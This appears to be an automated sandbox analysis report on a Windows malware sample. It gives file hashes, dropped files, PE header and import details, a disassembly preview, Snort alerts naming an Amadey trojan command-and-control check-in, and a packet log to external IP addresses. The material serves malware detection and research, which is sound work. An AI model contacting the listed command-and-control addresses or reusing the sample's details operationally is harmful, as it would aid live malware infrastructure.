SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCEB0.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCEB1.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCEB2.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCEB3.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCEF2.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6969296358976265
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBo2+tYeF+X:T5LLOpEO5J/Kn7U1uBo2UYeQ
MD5:	A9DBC7B8E523ABE3B02D77DBF2FCD645
SHA1:	DF5EE16ECF4B3B02E312F935AE81D4C5D2E91CA8
SHA-256:	39B4E45A062DEA6F541C18FA1A15C5C0DB43A59673A26E2EB5B8A4345EE767AE
SHA-512:	3CF87455263E395313E779D4F440D8405D86244E04B5F577BB9FA2F4A2069DE019D340F6B2F6EF420DEE3D3DEEFD4B58DA3FCA3BB802DE348E1A810D6379CC3B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpCEF3.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\337E.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6969296358976265
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBo2+tYeF+X:T5LLOpEO5J/Kn7U1uBo2UYeQ
MD5:	A9DBC7B8E523ABE3B02D77DBF2FCD645
SHA1:	DF5EE16ECF4B3B02E312F935AE81D4C5D2E91CA8
SHA-256:	39B4E45A062DEA6F541C18FA1A15C5C0DB43A59673A26E2EB5B8A4345EE767AE
SHA-512:	3CF87455263E395313E779D4F440D8405D86244E04B5F577BB9FA2F4A2069DE019D340F6B2F6EF420DEE3D3DEEFD4B58DA3FCA3BB802DE348E1A810D6379CC3B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\cbfafth Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	283648
Entropy (8bit):	6.702086910836435
Encrypted:	false
SSDEEP:	6144:Nwi5JzAGgeySsOaq9SaKXtTbwowHOvQVM3c:vFAG/yS6q9ST9W
MD5:	417141E9D2E0FED64579E7AE12507EAC
SHA1:	51142084ED69F120BD232EE82AEBB7AA45382359
SHA-256:	B87200FD33230FB9A0C284B030CA1C07F5B63C379531DE918C7DA6288281C5E3
SHA-512:	BC15667948B9AFCE15A8F8142F06C5A60F75827A5CA0BD1E4790CD92DE76ADFA4DE15A3C3BFF0EAC6663F7E2DF9C42A1635D67D73F86905A77DFF70BA0064C52
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 33%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .4.d.Z.d.Z.d.Z.z..u.Z.z....Z.z..S.Z.CC!.g.Z.d.[..Z.z..e.Z.z..e.Z.z..e.Z.Richd.Z.................PE..L....._.....................:......p.............@..................................M.......................................H..(...................................P...............................p?..@............................................text............................... ..`.rdata..J...........................@..@.data.......`.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\cbfafth:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.702086910836435
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	V1yj2IcuOo.exe
File size:	283648
MD5:	417141e9d2e0fed64579e7ae12507eac
SHA1:	51142084ed69f120bd232ee82aebb7aa45382359
SHA256:	b87200fd33230fb9a0c284b030ca1c07f5b63c379531de918c7da6288281c5e3
SHA512:	bc15667948b9afce15a8f8142f06c5a60f75827a5ca0bd1e4790cd92de76adfa4de15a3c3bff0eac6663f7e2df9c42a1635d67d73f86905a77dff70ba0064c52
SSDEEP:	6144:Nwi5JzAGgeySsOaq9SaKXtTbwowHOvQVM3c:vFAG/yS6q9ST9W
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .4.d.Z.d.Z.d.Z.z...u.Z.z.....Z.z...S.Z.CC!.g.Z.d.[...Z.z...e.Z.z...e.Z.z...e.Z.Richd.Z.................PE..L......_...........

File Icon


Icon Hash:	aedaae9ee6a68aa4

Static PE Info

General
Entrypoint:	0x401a70
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5F91EFFF [Thu Oct 22 20:47:59 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	8a6418b2bb39e9edb3ac9aabaf7ba016

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F1AD0CD6E3Bh
call 00007F1AD0CD07C6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00424188h
push 004079B0h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [004267E4h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0041D090h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F1AD0CD07D8h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F1AD0CD0908h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F1AD0CD0944h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F1AD0CD7EFAh
add esp, 04h
test eax, eax
jne 00007F1AD0CD07BCh
push 0000001Ch
call 00007F1AD0CD08FCh
add esp, 04h
call 00007F1AD0CD4A74h
test eax, eax
jne 00007F1AD0CD07BCh
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[LNK] VS2008 build 21022
[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x248d8	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1f9f000	0xfdc8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1d250	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x23f70	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1d000	0x1fc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1b810	0x1ba00	False	0.46094633767	data	6.28976383356	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x1d000	0x844a	0x8600	False	0.294717817164	data	4.76581175257	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x26000	0x1f78bdc	0x11200	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x1f9f000	0xfdc8	0xfe00	False	0.491679995079	data	5.27491493713	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
FIDUSANEHODEZAY	0x1fabcd0	0x2fa	ASCII text, with very long lines, with no line terminators
YEKIPENUJIBETEGAMULOZIGOJI	0x1fab8f8	0x3d8	ASCII text, with very long lines, with no line terminators
RT_CURSOR	0x1fac0e8	0x130	data
RT_CURSOR	0x1fac230	0x130	data
RT_CURSOR	0x1fac360	0xf0	data
RT_CURSOR	0x1fac450	0x10a8	dBase III DBT, version number 0, next free block index 40
RT_CURSOR	0x1fad528	0xea8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"
RT_CURSOR	0x1fae3d0	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"
RT_ICON	0x1f9f730	0x25a8	dBase III DBT, version number 0, next free block index 40	French	Switzerland
RT_ICON	0x1fa1cf0	0x8a8	data	French	Switzerland
RT_ICON	0x1fa2598	0x6c8	data	French	Switzerland
RT_ICON	0x1fa2c60	0x568	GLS_BINARY_LSB_FIRST	French	Switzerland
RT_ICON	0x1fa31c8	0x10a8	data	French	Switzerland
RT_ICON	0x1fa4270	0x988	data	French	Switzerland
RT_ICON	0x1fa4bf8	0x468	GLS_BINARY_LSB_FIRST	French	Switzerland
RT_ICON	0x1fa50c0	0xea8	data	French	Switzerland
RT_ICON	0x1fa5f68	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 1643035, next used block 10206849	French	Switzerland
RT_ICON	0x1fa6810	0x6c8	data	French	Switzerland
RT_ICON	0x1fa6ed8	0x568	GLS_BINARY_LSB_FIRST	French	Switzerland
RT_ICON	0x1fa7440	0x25a8	data	French	Switzerland
RT_ICON	0x1fa99e8	0x10a8	data	French	Switzerland
RT_ICON	0x1faaa90	0x988	data	French	Switzerland
RT_ICON	0x1fab418	0x468	GLS_BINARY_LSB_FIRST	French	Switzerland
RT_ACCELERATOR	0x1fac058	0x90	data
RT_ACCELERATOR	0x1fabfd0	0x88	data
RT_GROUP_CURSOR	0x1fac218	0x14	data
RT_GROUP_CURSOR	0x1fad4f8	0x30	data
RT_GROUP_CURSOR	0x1faec78	0x22	data
RT_GROUP_ICON	0x1fa1cd8	0x14	data	French	Switzerland
RT_GROUP_ICON	0x1fab880	0x76	data	French	Switzerland
RT_GROUP_ICON	0x1fa5060	0x5a	data	French	Switzerland
RT_VERSION	0x1faeca0	0x124	data

Imports

DLL

Import

KERNEL32.dll

GetComputerNameA, GetThreadContext, FileTimeToDosDateTime, EnumResourceNamesW, GetNativeSystemInfo, SetFilePointer, lstrlenA, GetConsoleAliasesLengthW, SetLocalTime, InterlockedIncrement, InterlockedDecrement, GetSystemWindowsDirectoryW, CreateDirectoryW, WaitForSingleObject, GetComputerNameW, FreeEnvironmentStringsA, GetTickCount, WaitNamedPipeW, WriteFile, SetCommState, GetCommandLineA, TlsSetValue, GetPriorityClass, AddRefActCtx, GetConsoleMode, FatalAppExitW, CopyFileW, GetVersionExW, SetConsoleMode, GetBinaryTypeA, TerminateProcess, IsDBCSLeadByte, GetOverlappedResult, GlobalUnlock, VerifyVersionInfoW, GetFileSizeEx, GetStartupInfoA, GetLastError, ReadConsoleOutputCharacterA, GetProcAddress, VirtualAlloc, WriteProfileSectionA, GetPrivateProfileStringA, ResetEvent, OpenWaitableTimerA, LoadLibraryA, OpenMutexA, CreateSemaphoreW, LocalAlloc, SetCurrentDirectoryW, PostQueuedCompletionStatus, HeapWalk, WriteProfileStringA, SetConsoleCursorInfo, CreateIoCompletionPort, GetModuleHandleA, EnumResourceNamesA, CompareStringA, GetCurrentThreadId, GetCPInfoExA, SetThreadAffinityMask, OpenSemaphoreW, FindAtomW, UnregisterWaitEx, LCMapStringW, CopyFileExA, DeleteFileA, WideCharToMultiByte, HeapValidate, IsBadReadPtr, RaiseException, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetModuleFileNameW, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsGetValue, GetModuleHandleW, TlsAlloc, TlsFree, SetLastError, Sleep, ExitProcess, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetModuleFileNameA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetStdHandle, GetFileType, HeapDestroy, HeapCreate, HeapFree, VirtualFree, HeapAlloc, HeapSize, HeapReAlloc, DebugBreak, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, LoadLibraryW, RtlUnwind, MultiByteToWideChar, LCMapStringA, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, InitializeCriticalSectionAndSpinCount, GetConsoleCP, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, CreateFileA, CloseHandle, FlushFileBuffers

Version Infos

Description	Data
Translation	0x520b 0x0517

Possible Origin

Language of compilation system	Country where language is spoken	Map
French	Switzerland

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/19/21-07:53:03.666552	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.7	8.8.8.8
08/19/21-07:53:04.716874	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.7	8.8.8.8
08/19/21-07:54:02.254607	TCP	2027700	ET TROJAN Amadey CnC Check-In	49760	80	192.168.2.7	185.215.113.206
08/19/21-07:54:06.506648	TCP	2027700	ET TROJAN Amadey CnC Check-In	49762	80	192.168.2.7	185.215.113.206
08/19/21-07:54:11.090912	TCP	2027700	ET TROJAN Amadey CnC Check-In	49766	80	192.168.2.7	185.215.113.206
08/19/21-07:54:11.316595	TCP	2027700	ET TROJAN Amadey CnC Check-In	49767	80	192.168.2.7	185.215.113.206

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 19, 2021 07:53:02.860466957 CEST	49704	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:02.919261932 CEST	80	49704	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:02.919457912 CEST	49704	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:02.919735909 CEST	49704	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:02.919778109 CEST	49704	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:02.977782011 CEST	80	49704	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:06.581818104 CEST	80	49704	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:06.581846952 CEST	80	49704	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:06.581954002 CEST	49704	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:06.582062960 CEST	49704	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:06.640496016 CEST	80	49704	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:06.832336903 CEST	49712	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:06.890629053 CEST	80	49712	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:06.890794039 CEST	49712	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:06.890949965 CEST	49712	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:06.890964031 CEST	49712	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:06.949229002 CEST	80	49712	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:06.949265957 CEST	80	49712	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:07.021192074 CEST	80	49712	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:07.021217108 CEST	80	49712	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:07.021266937 CEST	49712	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:07.021307945 CEST	49712	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:07.021382093 CEST	49712	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:07.077507973 CEST	80	49712	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:07.077594995 CEST	80	49712	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:07.077850103 CEST	49712	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:07.263890028 CEST	49714	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:07.522002935 CEST	80	49714	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:07.522136927 CEST	49714	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:07.522325993 CEST	49714	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:07.522416115 CEST	49714	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:07.779011965 CEST	80	49714	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:08.752871037 CEST	80	49714	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:08.752912998 CEST	80	49714	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:08.753025055 CEST	49714	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:08.753045082 CEST	49714	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:08.800556898 CEST	49716	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:08.858535051 CEST	80	49716	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:08.858628988 CEST	49716	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:08.858788013 CEST	49716	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:08.858804941 CEST	49716	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:08.916825056 CEST	80	49716	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:09.010588884 CEST	80	49714	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:09.043271065 CEST	80	49716	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:09.043296099 CEST	80	49716	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:09.043438911 CEST	49716	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:09.043586969 CEST	49716	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:09.091592073 CEST	49717	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:09.099745989 CEST	80	49716	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:09.149291992 CEST	80	49717	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:09.149420977 CEST	49717	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:09.149555922 CEST	49717	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:09.149636984 CEST	49717	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:09.208287954 CEST	80	49717	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:09.287338018 CEST	80	49717	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:09.287363052 CEST	80	49717	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:09.287528038 CEST	49717	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:09.287556887 CEST	49717	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:09.303491116 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.336376905 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.336518049 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.336615086 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.343342066 CEST	80	49717	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:09.369177103 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.369515896 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.369556904 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.369592905 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.369637012 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.369642019 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.369688988 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.369730949 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.369740963 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.369787931 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.369834900 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.369837999 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.369883060 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.369911909 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.369923115 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.370024920 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.402590036 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.402643919 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.402683020 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.402721882 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.402760029 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.402796030 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.402822971 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.402836084 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.402854919 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.402862072 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.402874947 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.402924061 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.402965069 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.402967930 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403007030 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403023958 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.403048038 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403085947 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403100014 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.403295040 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403352976 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403367996 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.403393984 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403434038 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.403449059 CEST	49718	80	192.168.2.7	193.142.59.119
